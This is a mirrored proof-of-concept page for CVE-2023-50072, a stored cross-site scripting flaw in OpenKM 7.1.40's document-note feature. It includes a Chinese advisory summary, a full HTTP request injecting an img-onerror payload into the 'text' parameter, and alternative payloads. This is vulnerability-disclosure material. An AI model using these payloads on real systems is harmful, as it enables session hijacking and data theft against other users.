CVE-2023-50072 PoC — OpenKM 跨站脚本漏洞

Source

https://github.com/ahrixia/CVE-2023-50072

Associated Vulnerability

Title:OpenKM 跨站脚本漏洞 (CVE-2023-50072)
Description:OpenKM是西班牙OpenKM公司的一套文档管理系统。该系统提供版本控制、文件历史记录和文件共享等功能。 OpenKM 7.1.40版本存在跨站脚本漏洞，该漏洞源于允许经过身份验证的用户上传文件上的注释进行跨站脚本攻击，任何打开文档文件注释的用户都会触发跨站脚本。

Description

A stored cross-site scripting (XSS) vulnerability exists in OpenKM version 7.1.40.

Readme

# CVE-2023-50072

A stored cross-site scripting (XSS) vulnerability exists in OpenKM version 7.1.40 (dbb6e88) With Professional Extension that allows an authenticated user to upload a note on a file which acts as a stored XSS payload. Any user who opens the note of a document file will trigger the XSS.

Vulerable Parameter: **text**

## Exploit - Proof of Concept (POC)

### Reflect cross-site scripting (XSS)  
```
Payload : <img/src/onerror=alert(1)> 
FINAL Payload (URL encoded) : <image/src/onerror%3dalert(1)>
```
GET Request on [http://localhost/openkm/rest/note/nodes/NODE-ID] :
```
POST /openkm/rest/note/nodes/34bc430a-e3db-4efa-8289-3d0894010f67 HTTP/2
Host: EXAMPLE.COM
Cookie: lang=en-GB; JSESSIONID=EC6EF7B1DB85C3A839C9D3054095AA8E
Content-Length: 23
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Requested-App: kcenter
Sec-Ch-Ua-Mobile: ?0
Authorization: OKM ey[REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin: https://EXAMPLE.COM
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://EXAMPLE.COM/openkm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

text=<image/src/onerror%3dalert(1)>
```

### Impact
Stored XSS allows attackers to inject malicious scripts into a web application, which get stored and executed when other users view the affected page. This can lead to theft of sensitive information, session hijacking, or distribution of malware.

### Screenshot
![openkm](https://github.com/ahrixia/CVE-2023-50072/assets/35935843/b9b8841b-5b59-4a34-8480-06722913e3d0)


### Other Working Payloads
```
Payload : <img src/onerror=alert(1)>
FINAL Payload (URL encoded) : <img%20src/onerror=alert(1)>
```

File Snapshot


 [4.0K]  /data/pocs/5d0409d7f8eacd23f305f968c2ad7da017a5212e
└── [1.9K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!